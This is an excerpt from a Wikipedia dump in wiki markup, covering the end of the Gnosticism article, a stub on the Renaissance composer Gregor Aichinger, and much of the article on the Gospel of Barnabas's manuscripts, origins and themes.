***The Octet of Subsistent Entities (Fragment A)
***The Uniqueness of the World (Fragment B)
***Election Naturally Entails Faith and Virtue (Fragment C)
***The State of Virtue (Fragment D)
***The Elect Transcend the World (Fragment E)
***Reincarnation (Fragment F)
***Human Suffering and the Goodness of Providence (Fragment G)
***Forgivable Sins (Fragment H)

*'''Other schools and related movements'''; these are presented in chronological order:[[Image:Gnostic_cross.png|right|frame|The [[Sun cross|circular, harmonic cross]] was an [[emblem]] used most notably by the [[Cathars]], a [[medieval]] [[heresy]] that related to Gnosticism]]
**''[[Simon Magus]]'' and ''[[Marcion of Sinope]]'' both had Gnostic tendencies, but such familiar ideas that they presented were as-yet unformed; they might thus be described as pseudo- or proto-Gnostics. Both developed a sizeable following.  Simon Magus' pupil ''[[Menander]]'' could potentially be included within this grouping.
**''[[Cerinthus]]'', the leader of a late first century or early second century cult; though he believed in the existence of a lesser, creator deity who governs the world, Cerinthus apparently sets great store against observation of ceremonies as a redemptive observance, rather than the ''gnosis'' that is naturally the emphasis of gnostic schools.
**The ''[[Ophites]]'', so-named because they worshipped the serpent of [[Genesis]] as the bestower of knowledge.
**The ''[[Cainites]]'', as the term implies, worshipped [[Cain]], as well as [[Esau]], [[Korah]], and the [[Sodom|Sodomites]].  There is little evidence concerning the nature of this group; however, it is surmisable that they believed that indulgence in sin was the key to salvation because since the body is evil, one must defile it through immoral activity (see [[libertinism]]).
**The ''[[Carpocrates|Carpocratians]]''
**The ''[[Borborites]]''
**The ''[[Bogomils]]''
**The ''[[Cathar]]s'' (''Cathari'', ''Albigenses'' or ''Albigensians'') are typically seen as being imitative of Gnosticism; whether or not the Cathari possessed direct historical influence from ancient Gnosticism is disputed.  Though the basic conceptions of Gnostic cosmology are to be found in Cathar beliefs (most distinctly in their notion of a lesser, [[satan|Satanic]], creator god), they did not apparently place any special relevance upon knowledge (''gnosis'') as an effective salvific force.  For the relationship between these medieval heresies and earlier Gnostic forms, see [[#The development of the Persian school|historical discussion above]].

=='Gnosticism' as a potentially flawed category==
In [[1966]] in [[Messina]], [[Italy]], a conference was held concerning systems of ''gnosis''.  Among its several aims were the need to incept a program to translate the recently-acquired Nag Hammadi library (see [[#Translation|above]]) and the need to arrive at an agreement concerning an accurate definition of 'Gnosticism'.  This was in answer to the tendency, prevalent since the eighteenth century, to use the term 'gnostic' less as its origins implied, but rather as an interpretive category for ''contemporary'' philosophical and religious movements.  Thus in [[1835]] [[New Testament]] scholar [[Ferdinand Baur]] constructs a developmental model of Gnosticism that culminates in the religious philosophy of [[Hegel]]; one might compare [[literary critic]] [[Harold Bloom]]'s recent attempts to identify Gnostic elements in contemporary [[United States|American]] religion, or [[Eric Voegelin]]'s analysis of [[totalitarianism|totalitarian]] impulses through the interpretive lens of Gnosticism.

The 'cautious proposal' reached by the conference concerning Gnosticism is described by Markschies:

:In the concluding document of Messina the proposal was 'by the simultaneous application of historical and typological methods' to designate 'a particular group of systems of the second century after Christ' as 'gnosticism', and to use 'gnosis' to define a conception of knowledge transcending the times which was described as 'knowledge of divine mysteries for an élite'. (Markschies, ''Gnosis: An Introduction'', 13)

In essence, it had been decided that 'Gnosticism' would become a historically-specific term, restricted to mean the Gnostic movements prevalent in the 3rd century, while 'gnosis' would be an universal term, denoting a system of knowledge retained 'for a privileged élite'.  However, this effort towards providing clarity in fact created more conceptual confusion, as the historical term 'Gnosticism' was an entirely modern construction, while the new universal term 'gnosis' ''was'' a historical term: 'something was being called &quot;gnosticism&quot; that the ancient theologians had called &quot;gnosis&quot; ... [A] concept of gnosis had been created by Messina that was almost unusable in a historical sense' (Markschies, ''Gnosis: An Introduction'', 14-15).  In antiquity, all agreed that knowledge was centrally important to life, but few were agreed as to what exactly ''constituted'' knowledge; the unitary conception that the Messina proposal presupposed did not exist.

These flaws have meant that the problems concerning an exact definition of Gnosticism persist.  It remains current convention to use 'Gnosticism' in a historical sense, and 'gnosis' universally.  Leaving aside the issues with the latter noted above, the usage of 'Gnosticism' to designate a category of religions in the 3rd century has recently been questioned as well.  Of note is the work of [[Michael Allen Williams]] in ''Rethinking Gnosticism: An Argument for the Dismantling of a Dubious Category'', in which the author examines the terms by which gnosticism as a category is defined, and then closely compares these suppositions with the contents of actual Gnostic texts (the newly-recovered Nag Hammadi library was of central importance to his thesis).

Williams argues that the conceptual foundations on which the category of Gnosticism rests are the remains of the agenda of the heresiologists.  Too much emphasis has been laid on perceptions of dualism, body- and matter-hatred, and anticosmism, without these suppositions being properly ''tested''.  In essence, the interpretive definition of Gnosticism that was created by the antagonistic efforts of the heresiologists has been taken up by modern scholarship and reflected in a ''categorical'' definition, even though the means now exist to verify its accuracy.  Attempting to do so, Williams contests, reveals the dubious nature of categorical 'Gnosticism', and he concludes that the term needs replacing in order to more accurately reflect those movements it comprises.  Williams' observations have provoked debate; however, to date his suggested replacement term 'the Biblical demirugical tradition' has not become widely used.

==Gnosticism in modern times==
Many culturally significant movements and figures have been influenced by Gnosticism, including, for example, [[Carl Jung]], [[William Blake]] and [[Eric Voegelin]].  This influence has apparently grown since the emergence and translation of the Nag Hammadi library (see [[#The Nag Hammadi library|above]]).  See the article [[Gnosticism in modern times]] for a fuller treatment; readers are also recommended to ''The Nag Hammadi Library in English'', edited by [[James M. Robinson]], later editions of which contain an essay on 'The Modern Relevance of Gnosticism', by Richard Smith.

==See also==
*[[Antinomianism]]
*[[Apocrypha]]
*[[Agnosticism]]
*[[Christian theosophy]]
*[[Christian Meditation]]
*[[Esoteric Christianity]]
*[[First Council of Nicaea]]
*[[Gospel]]
*[[Gnosiology]]
*[[Gnosis]]
*[[Manicheanism]]
*[[Mandaeanism]]
*[[Ontology]]
*[[Valentinianism]]
*[[Valentinus]]
*[[Zoroastrianism]]

==References==
===Books===
====[[Primary source]]s====
* {{cite book | authorlink = Bentley Layton | last = Layton | first = Bentley | title = The Gnostic Scriptures | publisher = SCM Press | year = 1987 | id = ISBN 0-334-02022-0 | pages = 526 pages }}
* {{cite book | authorlink = James M. Robinson | last = Robinson | first = James | title = The Nag Hammadi Library in English | publisher = | year = 1978 | id = ISBN 0-06-066934-9 | pages = 549 pages }}

====[[Secondary source]]s====
* {{cite book | last = Aland | first =  Barbara | title = [[Festschrift]] für Hans Jonas | publisher = Vandenhoeck &amp; Ruprecht | year = 1978 | id = ISBN 3-525-58111-4 }}
* {{cite book | last = Freke | first =  Timothy  | coauthors =  Gandy, Peter | title = The Hermetica: The Lost Wisdom of the Pharaohs | publisher = Tarcher | year = 1999 | id = ISBN 0874779502 }}
* {{cite book | last = Freke | first =  Timothy  | coauthors =  Gandy, Peter | title = Jesus and the Lost Goddess : The Secret Teachings of the Original Christians | publisher = Three Rivers Press | year = 2002 | id = ISBN 0-00-710071-X }}
* {{cite book | last = Haardt | first =  Robert | title = Die Gnosis: Wesen und Zeugnisse | publisher = Otto-Müller-Verlag, Salzburg | year = 1967 | id =  | pages = 352 pages }}, translated as {{cite book | last = Haardt | first =  Robert | title = Gnosis: Character and Testimony | publisher = Brill, Leiden | year = 1971 | id =  }}
* {{cite book | authorlink = Stephan A. Hoeller | last = Hoeller | first =  Stephan A. | title = Gnosticism - New Light on the Ancient Tradition of Inner Knowing | publisher =  | year = 2002 | id = ISBN 0-8356-0816-6 | pages = 257 pages }}
* {{cite book | authorlink = Hans Jonas | last = Jonas | first = Hans | title = Gnosis und spätantiker Geist vol. 2:1-2, Von der Mythologie zur mystischen Philosophie | publisher = | year = | id = ISBN 3-525-53841-3 }}
* {{cite book | last = King | first = Karen L. | title = What is Gnosticism? | publisher = Harvard University Press | year = 2003 | id = ISBN 0-674-01071-X | pages = 343 pages }}
* {{cite book | last = Klimkeit | first = Hans-Joachim | title = Gnosis on the Silk Road: Gnostic Texts from Central Asia | publisher = Harper, San Francisco | year = 1993 | id = ISBN 0-06-064586-5 }}
* {{cite book | last = Layton | first =  Bentley | editor = edited by L. Michael White, O. Larry Yarbrough | chapter = Prolegomena to the study of ancient gnosticism | title = The Social World of the First Christians: Essays in Honor of Wayne A. Meeks | publisher = Fortress Press, Minneapolis | year = 1995 | id = ISBN 0800625854 }}
* {{cite book | author = Layton, Bentley (ed.) | title = The Rediscovery of Gnosticism: Sethian Gnosticism | publisher = E.J. Brill | year = 1981 }}
* {{cite book | last = Longfellow | first =  Ki | title = The Secret Magdalene | publisher =  | year = 2005 | id = ISBN 0-9759255-3-9 | pages = 458 pages }}
* {{cite book | last = Markschies | first = Christoph | other = trans. John Bowden | title = Gnosis: An Introduction | publisher = T &amp; T Clark | year = 2000 | id = ISBN 0-567-08945-2 | pages = 145 pages }}
* {{cite book | last = Mins | first = Denis | title = Irenaeus | publisher = Geoffrey Chapman | year = 1994 | id = }}
* {{cite book | authorlink = Elaine Pagels | last = Pagels | first = Elaine | title = The Gnostic Gospels | publisher = | year = 1979 | id = ISBN 0679724532 | pages = 182 pages }}
* {{cite book | authorlink = Elaine Pagels | last = Pagels | first = Elaine | title = The Johannine Gospel in Gnostic Exegesis | publisher = | year = 1989 | id = ISBN 1555403344 | pages = 128 pages }}
* Petrement, Simone (1990), ''A Separate God: The Origins and Teachings of Gnosticsim'', Harper and Row ISBN 0060664215
* {{cite book | author = [[Plotinus]] | other = translated by A.H. Armstrong | title = The Enneads | publisher = [[Harvard University|Harvard University Press]] | year = 1966 | id =  }}
* {{cite book | last = Puma | first = Jeremy | title = Running Towards the Bomb:  Gnosticism and the End of Civilisation | publisher = Geosynchronous Lamps | year = 2005 | id = ISBN 1411645235 }}
* {{cite book | last = Rudolph | first =  Kurt | title = Gnosis: The Nature &amp; Structure of Gnosticism | publisher = Harper &amp; Row | year = 1987 | id = ISBN 0060670185 }}
* {{cite book | last = Williams | first = Michael | title = Rethinking Gnosticism: An Argument for Dismantling a Dubious Category | publisher = Princeton University Press | year = 1996 | id = ISBN 0691011273 }}

===Audio lectures===
*[http://www.bcrecordings.net/store/ BC Recordings] - Offers an extensive collecton of downloadable MP3 lecture by Stephan A. Hoeller on Gnosticism.

===Videos===
*''The Naked Truth - Exposing the Deceptions About the Origins of Modern Religions'' (1995). ASIN: 1568890060.

==External links==
All external links are given in alphabetical order by page title or, where available, by author.  If you wish to add to the lists, please maintain this layout. Also see the subpages, e.g. [[Gnosticism in modern times]] which have their own link lists, in order to place links in the apropriate page.

===Ancient Gnosticism===
*[http://www.newadvent.org/cathen/06592a.htm Catholic Encyclopedia: Gnosticism]
*[http://www.languedoc-france.info/12_cathars.htm The Cathars of the Languedoc] - A medieval heretical sect, related to Gnosticism.
*[http://www.earlychristianwritings.com/gnostics.html Early Christian Writings] - primary texts
*[http://www.gnosis.org/ Gnostic Society] - multiple texts on Gnosticism and a [http://www.gnosis.org/readlist.htm bibliography] of secondary reading
*[http://www.iep.utm.edu/g/gnostic.htm Internet Encyclopedia of Philosophy: Gnosticism]
*[http://www.kheper.net/topics/Gnosticism/intro.htm Introduction to Gnosticism]
*[http://jewishencyclopedia.com/view.jsp?artid=280&amp;letter=G&amp;search=gnosticism Jewish Encyclopedia: Gnosticism]
*[http://www.religioustolerance.org/gnostic.htm Religious Tolerance] - A survey of Gnosticism
*[http://www.theandros.com/pregnostic.html Proto-Gnostic elements in the Gospel according to John] - article in [http://www.theandros.com/ Theandros].

===Gnostic blogs===
*[http://egina.blogspot.com/ Ecclesia Gnostica in Nova Albion, blog of Jordan Stratford, a priest in The Apostolic Johannite Church]
*[http://noeticapprehension.blogspot.com/  Ecclesiastical Gnosis-Personal Reflections, weblog of Bishop Shaun McCann of The Apostolic Johannite Church]
*[http://www.enormousfictions.com/ Enormous Fictions: A website exploring Gnosticism, creativity, culture and various other ideas]
*[http://www.snant.com/fp/ fantastic planet, blog featuring Gnostic philosophy on events political, fortean and otherwise interesting]
*[http://homoplasmate.blogspot.com/ Homoplasmate, &quot;A forum for the discussion of Gnosticism and Gnostic Christianity&quot;]
*[http://illuminism.blogspot.com/ Illuminism &amp; Personal Reflections of Mar Didymos I, Patriarch of the Thomasine Church]
*[http://weblog.bergersen.net/terje/ inTerjeCted, weblog of Norwegian Gnostic Terje Bergersen]
*[http://nascentgnosis.blogspot.com/ Nascent Gnosis: A former orthodox priest takes a trip down heterodox lane...]
*[http://taognostic.org/ Taognostic: Exploring the Path of the Gnostic]

===Discussion groups and email lists===
*[http://groups.yahoo.com/group/eglisegnostique/ eglisegnostique - Eglise Gnostique, share information, discuss issues, network]
*[http://groups.yahoo.com/group/gnosticism2/ gnosticism2 - Learn the history and ideas of Gnostics]

[[Category:Gnosticism|Gnosticism]]
[[Category:Ancient Roman Christianity]]
[[Category:New Testament Apocrypha]]

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  <page>
    <title>Gregor Aichinger</title>
    <id>12472</id>
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      <minor />
      <comment>Standardising 1911 references.</comment>
      <text xml:space="preserve">'''Gregor Aichinger,''' (c. [[1565]]&amp;ndash;[[1628]]) was a [[Germany|German]] composer. 

He was [[organist]] to the [[Fugger]] family of [[Augsburg]] in [[1584]]. In [[1599]] he went for a two year visit to [[Rome]] for musical, rather than religious reasons, although he had taken [[religious order]]s before his appointment under Fugger.  [[Karl Proske|Proske]], in the preface to vol. 2 of his ''Musica Divina'', calls him a priest of [[Regensburg]], and is inclined to give him the palm for the devout and ingenuous mastery of his style.  Certainly this impression is fully borne out by the beautiful and somewhat quaint works included in that great anthology. 

==References==
*{{1911}}

[[Category:1565 births|Aichinger, Gregor]]
[[Category:1628 deaths|Aichinger, Gregor]]
[[Category:German composers|Aichinger, Gregor]]
[[Category:Renaissance composers|Aichinger, Gregor]]
[[Category:Organists|Aichinger, Gregor]]

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  <page>
    <title>Gospel of Barnabas</title>
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      <comment>/* Textual History */</comment>
      <text xml:space="preserve">The '''''Gospel of Barnabas''''' is a work purporting to be a depiction of the life of [[Jesus]] by his disciple [[Barnabas]]. The two earliest known manuscripts have been dated to the late sixteenth century, and are written in [[Italian language|Italian]] and in [[Spanish language|Spanish]]; although the Spanish version survives now only in an eighteenth century copy. It is about the same length as the four canonical gospels put together (the Italian manuscript has 222 chapters); with the bulk being devoted to an account of Jesus' ministry, much of it harmonised from accounts also found in the canonical [[gospel]]s. In some, but not all, respects it conforms to the [[Islamic view of the Bible|Islamic interpretation of Christian Origins]]; and consequently its authorship and textual history remain the subject of continued controversy.

The Gospel is considered by the majority of academics (including Christians and some Muslims) to be late, [[pseudepigraphy|pseudepigraphical]] and a [[pious fraud]]; however, some academics suggest that it may contain some remnants of an earlier [[apocrypha]]l work edited to conform to Islam, perhaps [[Gnostic]] (Cirillo, Ragg) or [[Ebionite]] (Pines) or [[Diatessaron]]ic (Joosten), and some Muslim scholars consider it genuine. Some Islamic organizations cite it in support of the [[Isa|Islamic view of Jesus]]; Islamic views are treated below.




==Textual History==
A &quot;Gospel according to Barnabas&quot; is mentioned in two early Christian lists of apocryphal works: the ''[[Decretum Gelasianum]]'' (whose attribution to [[Pope Gelasius I]] is apocryphal but which is no later than the [[6th century]]), as well as the 7th-century [[List of the Sixty Books]] [http://www.bendigo.latrobe.edu.au/sae/arts/barnabas/Barnearly.html]. These lists are independent witnesses, but in neither case is it sure that the compiler had actually seen all the listed works. In both cases, ''GoB'' is paired by juxtaposition with a ''[[Gospel of Matthias]]'' (presumed to refer to a surviving ''[[Traditions of Matthias]]''.) However, these lists provide no details about the contents of the work, and there is no reason to assume that the text of the 6th-7th century ''GoB'' was the same as this one. [[M. R. James]], ''New Testament Apocrypha'' (1924) disputed whether the work mentioned in those lists ever existed.

This work should not be confused with the surviving ''[[Epistle of Barnabas]]'', which may have been written in 2nd Century [[Alexandria]]. There is no link between the two books in style, content or history other than their supposed attribution to Barnabas.  On the issue of [[circumcision]], the two authors clearly hold very different views, that of the 'Epistle' in rejecting [[Jew]]ish practices and that of the 'Gospel' in promoting Muslim ones. Neither should it be confused with the surviving ''[[Acts of Barnabas]]'', which narrates an account of Barnabas' travels, martyrdom and burial; and which is generally thought to have been written in [[Cyprus]] sometime after [[431]].

In [[478]], during the reign of the Emperor [[Zeno (emperor)|Zeno]], archbishop [[Cypriot Orthodox Church|Anthemios of Cyprus]] announced that the hidden burial place of Barnabas had been revealed to him in a dream. The saint's body was claimed to have been discovered in a cave with a copy of the canonical [[Gospel of Matthew]] on its breast; according to the contemporary account of Theodorus Lector, who may well have been present when both bones and gospel book were presented by Anthemios to the emperor. Some students who maintain the antiquity of the Gospel of Barnabas propose that the text purportedly discovered in 478 should be identified with the Gospel of Barnabas instead, but no contemporary witness supports this opinion. According to a medieval tradition preserved in the monastery of [[Sumela Monastery|Sumela]] south of [[Trabzon]], the relics were presented to that monastery by [[Justinian I|Justinian]]; but were lost a century later when Persian forces occupied the Pontic Alps in their campaigns against [[Heraclius]].

In 1986, it was briefly claimed that an early Syriac copy of this gospel had found near [[Hakkari]] (cf. Hamza Bektaş in ''İlim ve Sanat Dergisi'' of March-April 1986, and «Türkiye» from [[July 25]] [[1986]], &quot;Barnabas Bible Found&quot;, in ''Arabia'' 4/1985/ 1405/ No. 41/ Jan.-Febr./ Rabi Al-Thani, p. 46, &quot;Original Bible of Barnabas Found in Turkey&quot;, in ''The Minaret'' 12, 3; 1.+ 16. April, 1985, n.p.)[http://www.understanding-islam.com/related/text.asp?type=article&amp;aid=174] However, shortly afterwards it was reported that this manuscript actually merely contained the canonical Bible (Ron Pankow, &quot;The Barnabas Bible?&quot;, in: ''Arabia'' 1985/1405//March-April/ Rajib, n.p.)[http://www.islaminstitut.de/english/publications/gospel_of_barnabas.htm]

The earliest mention of a book which is generally agreed to refer to the one found in the two known manuscripts, is reported to be contained in Morisco manuscript BNM MS 9653 in [[Madrid]], written about [[1634]] by [[Ibrahim al-Taybili]] in [[Tunisia]]. While describing how, in his opinion, the Bible predicts Muhammad, he speaks of the &quot;''Gospel of Saint Barnabas where one can find the light''&quot; (&quot;''y asi mesmo en Elanjelio de San Barnabé donde de hallara luz''&quot;). It was mentioned again in [[1718]] by the Irish [[Deism|deist]] [[John Toland]], and was mentioned in [[1734]] by [[George Sale]] in ''The Preliminary Discourse to the Koran'':

:''The [[Mohammedan]]s have also a Gospel in [[Arabic language|Arabic]], attributed to St. Barnabas, wherein the history of Jesus Christ is related in a manner very different from what we find in the true Gospels, and correspondent to those traditions which Mohammed has followed in his Koran. Of this Gospel the Moriscoes in [[Africa]] have a translation in Spanish; and there is in the library of [[Prince Eugene of Savoy]], a manuscript of some antiquity, containing an Italian translation of the same Gospel, made, it is to be supposed, for the use of [[renegade]]s.'' &amp;mdash;''The Preliminary Discourse to the Koran'', p. 79. 

This appears to allude to versions of both the known manuscripts: the Italian and the Spanish.

===The manuscripts===
'''Italian Ms.''' Prince Eugene's Italian manuscript had been presented to him in [[1709]] by [[John Frederick Cramer]]; it appears to date to the end of the [[sixteenth century]]. It was transferred to the [[Hofbibliothek in Vienna]] in [[1738]] with the rest of his library, and still survives there, in the Austrian National Library. The pages of the Italian manuscript are framed in an Islamic style, and contain chapter rubrics and margin notes in often ungrammatical and incorrect Arabic (with an occasional Turkish word, and many Turkish syntactical features), the margin notes forming a rough Arabic gloss of selected passages. Its binding is Turkish, and appears to be original; but the paper appears Italian, as does the handwriting (albeit with many idiosyncrasies of spelling). There are [[catchwords]] at the bottom of each page, a practice common in manuscripts intended to be set up for [[printing]]. The manuscript appears to be unfinished - in that the 222 chapters are provided throughout with framed blank spaces for titular headings, but only 27 of these spaces have been filled. In addition, there were originally 38 whole framed blank pages preceding the text - into which, it may be presumed, some other work was originally intended to be copied. It is the Italian version that the Raggs' 1907 translation, the most commonly circulated in English, is based on. It was followed in 1908 by an Arabic translation by Khalil Saadah, published in Egypt.

The complete Italian text is transcribed with an English translation and introduction:

Ragg, L and L - ''The Gospel of Barnabas''. (Clarendon Press, Oxford, England, 1907).

A second Italian edition - in parallel columns with a modernised text:

Eugenio Giustolisi and Giuseppe Rizzardi, ''Il vangelo di Barnaba. Un vangelo per i musulmani?'' (Milano: Istituto Propaganda Libraria, 1991). 

The complete text of the Italian manuscript has been published in photo-facsimile; with a French translation and extensive commentary and textual apparatus:

Cirillo L. &amp; Fremaux M. ''Evangile de Barnabe: recherches sur la composition et l'origine'', Paris, 1977, 598p

'''Spanish Ms.''' The known Spanish manuscript was lost in the eighteenth or nineteenth centuries; however an eighteenth century copy of it was discovered in the 1970s in the [[University of Sydney]]'s Fisher Library among the books of Sir [[Charles Nicholson]], labelled in English &quot;Transcribed from ms. in possession of the Revd Mr Edm. Callamy who bought it at the decease of Mr George Sale...and now gave me at the decease of Mr John Nickolls, [[1745]]&quot;. J. E. Fletcher, ''The Spanish Gospel of Barnabas'', Novum Testamentum vol. XVIII ((1976), p. 314-320.

Its main difference from the Italian manuscript is that the surviving transcript does not record a substantial number of chapters&amp;mdash;which had, however, still been present in the Spanish original when it was examined by George Sale. The Spanish text is preceded by a note claiming that it was translated from Italian by [[Mustafa de Aranda]], an Aragonese Muslim resident in Istanbul. The Spanish manuscript also contains a preface by one assuming the pseudonym 'Fra Marino', claiming to have stolen a copy of the Italian version from the library of [[Pope]] Sixtus V. Fra Marino, reports that, having a post in the [[Inquisition]] Court, he had come into possession of several works, which led him to believe that the Biblical text had been corrupted, and that genuine apostolic texts had been improperly excluded. Fra Marino also claims to have been alerted to the existence of the Gospel of Barnabas, from an allusion in an (otherwise unknown) work by [[Irenaeus]] against Paul; in a book which had been presented to him by a lady of the [[Colonna]] family (Marino, outside Rome, is the location of the Palazzo Colonna).

The text of the Spanish manuscript has been published with extensive commentary:

Bernabe Pons L. F. ''El Evangelio de San Bernabe; Un evangelio islamico espanol'', Universidad de Alicante, 1995, 260p

===Origins===
Some students of the work argue for an Italian origin, noting phrases in Barnabas which are very similar to phrases used by Dante and suggesting that the author of Barnabas borrowed from Dante's works; they take the Spanish version's preface to support this conclusion. Other students have noted a range of textual similarities between passages in the Gospel of Barnabas, and variously the texts of a series of late mediaeval [[vernacular]] harmonies of the four canonical gospels (in Middle [[English language|English]] and Middle [[Dutch language|Dutch]], but especially in Middle Italian); which are all speculated as deriving from a lost [[Vetus Latina|Old Latin]] version of the [[Diatessaron]] of [[Tatian]] (Jan Joosten, &quot;The Gospel of Barnabas and the Diatessaron,&quot; Harvard Theological Review 95.1 (2002): 73-96). This would also support an Italian origin.

Other students argue that the Spanish version came first, regarding the Spanish preface's claims of an Italian source as intended to boost the work's credibility by linking it to the Papal libraries. These scholars note parallels with a series of Morisco forgeries, the [[Sacromonte]] tablets of [[Granada]], dating from the 1590s; or otherwise with Morisco reworkings of Christian and Islamic traditions, produced following their expulsion from Spain (G.A.Wiegers, &quot;Muhammad as the Messiah: A comparison of the polemical works of Juan Alonso with the Gospel of Barnabas&quot;, Leiden, Bibliotheca Orientalis, LII, no 3/4, April-Juni 1995, pp.245-292). 

The lost Spanish manuscript claimed to have been written in [[Istanbul]], and the surviving Italian manuscript has several [[Ottoman Empire|Turkish]] features; so - whether the language of origin was Spanish or Italian - Istanbul is regarded by most students as the place of origin of the present text. This view has added credibility, in that many early Christian and [[patristics|patristic]] texts might still be found, in the 16th Century, in the Greek libraries of Istanbul - ancient [[Constantinople]] - and the city contained substantial Greek, Italian and Spanish speaking communities.

After [[1492]], following the conquest of Moorish [[Granada]], [[Mudejar]] and [[Sephardi]] populations (Muslims and Jews who refused to convert to Christianity) were expelled from [[Spain]]. Although some found initial refuge in [[Italy]] (especially [[Venice]]), most resettled in the [[Ottoman Empire]], where Spanish speaking Jews established in Istanbul a rich sub-culture with a flourishing [[Hebrew language|Hebrew]] and [[Ladino]] printing industry.  Numbers were further agumented after [[1550]], following campaigns of persecution by the [[Venetian]] Inquisition against Italian [[nontrinitarianism|anti-Trinitarians]] and Jews. Although Muslim teaching at this time strongly opposed the printing of [[Islamic]] or Arabic texts, non-Muslim printing was not, in principle, forbidden; indeed attempts were made in the [[1570s]] by anti-Trinitarians to establish a printing press in the Turkish capital to publish radical [[Protestant]] works.  In the Spanish preface, Fra Marino records his wish that the Gospel of Barnabas should be printed, and the only place in Europe where that would have been possible in the late [[16th Century]] would have been Instanbul.

A minority of students are, however, suspicious of the apparent 'Turkish' features of the Italian manuscript; especially the Arabic annotations, which they adjudge to be so riddled with elementary errors as to be most unlikely to have been written in Istanbul (even by an Italian scribe). In particular, they note that the glossing of the Italian version of the ''[[shahada]]'' into Arabic, does not correspond exactly with the standard ritual formula recited daily by every Muslim. These students are inclined to infer from these inconsistencies that both manuscripts may represent an exercise in forensic falsification, and they tend to locate their place of origin as [[Rome]].     

Few academics argue that the text, in its present form, dates back any earlier than the [[14th century|14th]]&amp;ndash;16th centuries; although a minority see it as containing portions of an earlier work, and almost all would detect the influence of earlier sources&amp;mdash;over and above the [[Vulgate]] text of the Latin Bible. Consequently most students would concur with a stratification of the surviving text into at least three distinct layers of composition:

&amp;ndash; an editorial layer dating from the 1590s; and comprising, at the least, the Spanish preface and the Arabic annotations,

&amp;ndash; a layer of vernacular narrative composition, either in Spanish or Italian, and dating from no earlier than the mid 14th century,

&amp;ndash; a layer derived from earlier source materials, almost certainly transmitted to the vernacular author/translator in Latin; and comprising, at the least, those extensive passages in the Gospel of Barnabas that closely parallel [[pericope]]s in the canonical gospels; but whose underlying text appears markedly distinct from that of the late medieval Latin [[Vulgate]] (as for instance in the alternative version of the [[Lord's Prayer]] in chapter 37, which includes a concluding [[doxology]], contrary to the Vulgate text, but in accordance with the Diatessaron and many other early variant traditions);

Much of the controversy and dispute concerning the authenticity of the Gospel of Barnabas can be re-expressed as debating whether specific highly transgressive themes (from an orthodox Christian perspective) might already have been present in the source materials utilised by a 14th&amp;ndash;16th century vernacular author, whether they might be due to that author himself, or whether they might even have been interpolated by the subsequent editor. Those students who regard these particular themes as primitive, nevertheless do not generally dispute that other parts of the Gospel may be late and anachronistic; while those students who reject the authenticity of these particular themes do not generally dispute that other parts of the Gospel could be transmitting variant readings from antiquity.

===Analysis===
This work bears strong parallels with the [[Islam]]ic faith, not only mentioning [[Muhammad]] by name, but including the ''[[shahada]]'' (chapter 39). It is strongly anti-[[Paul of Tarsus|Paul]]ine and anti-[[Trinity|Trinitarian]] in tone. In this work, Jesus is described as a [[prophet]] and not the [[son of God]], while Paul is called &quot;the deceived&quot;. Furthermore, the Gospel of Barnabas states that Jesus escaped crucifixion by being raised alive to heaven; while [[Judas Iscariot]] the traitor &amp;mdash; miraculously transformed &amp;mdash; was crucified in his place. These beliefs; in particular that Jesus is a prophet of God, raised alive without being crucified; conform with [[Muslim|Islamic]] beliefs. Other passages however conflict with the text/teachings of the [[Qur'an]]; as for instance in the account of the [[Virgin Mary in Islam|Nativity]], where [[Mary, the mother of Jesus|Mary]] is said to have given birth to Jesus without pain; or as in Jesus's ministry, where he permits the drinking of [[wine]] and enjoins [[marriage|monogamy]]. Narrative themes, and some highly distinctive phraseology, are shared with the ''[[Divine Comedy]]'' of [[Dante]] (Ragg). If (as most students surmise) the ''Gospel of Barnabas'' is seen as an attempted synthesis of elements from both Christianity and Islam, then sixteenth and seventeenth century parallels can be suggested in [[Morisco]] and [[nontrinitarianism|anti-Trinitarian]] writings; but there are no known earlier precursors.

The Spanish version includes an account of the discovery of the Gospel of Barnabas in the private study of [[Pope Sixtus V]] ([[1585]]-[[1590]]), an account which appears to many students to be historically incongruous; and this, together with [[paleography|paleographic]] inconsistencies in the surviving Italian manuscript, has led a number of scholars to conclude that the two known manuscripts may have been prepared in support of an exercise in forensic [[falsification]], intended to discredit or incriminate some leading [[Catholic]] ecclesiastic in the [[Roman Curia]] of the [[1590]]s (David Sox; ''The Gospel of Barnabas'' 1984). There are a number of contemporary parallels for such an exercise - most notably the &quot;Casket Letters&quot; supposedly forged to incriminate [[Mary I of Scotland|Mary Queen of Scots]].  Some scholars who maintain this view consequently dismiss the entire Gospel as a [[hoax]]; but the majority would consider it more likely that the supposed forgers made use of a pre-existing [[heterodox]] text.

==Religious themes==
The Gospel of Barnabas was little known outside academic circles until recent times, when a number of Muslims have taken to publishing it in order to argue against the orthodox Christian conception of Jesus. It resonates better with existing Muslim views than with [[Christianity]] in several respects: it foretells the coming of Muhammad by name; rather than describing the crucifixion of Jesus, it describes him being raised up into heaven, similar to the description of [[Elijah]] in [[Books of Kings|2 Kings]], Chapter 2; and it calls Jesus a &quot;prophet&quot; whose mission was restricted to the &quot;house of [[Israel]]&quot;. However, it differs from Islamic conceptions in at least two important respects; it reports that Muhammad, not Jesus, was the [[Messiah]], whereas the Qur'an and [[Hadith]] both describe Jesus as the Messiah, and no orthodox variety of Islam calls Muhammad the Messiah. In addition, it explictly denies the Islamic (and Christian) doctrines of [[qiyamah|God's absolute judgment]]  and foreknowledge &amp;mdash; in asserting that, in the matter of salvation: &quot;Our God waits for man to be penitent&quot; (Chapter 114); such that the souls of the wicked in Hell could nevertheless be saved at the [[end times]], if they become converted to [[repentance|penitence]] (Chapter 113); whereas the righteous &amp;mdash;even the saints and prophets&amp;mdash; cannot be safe from the fear of damnation; as the possibility cannot be excluded that they might at some future time, through confidence in their own righteousness, fall into [[pride]] (Chapter 112). 

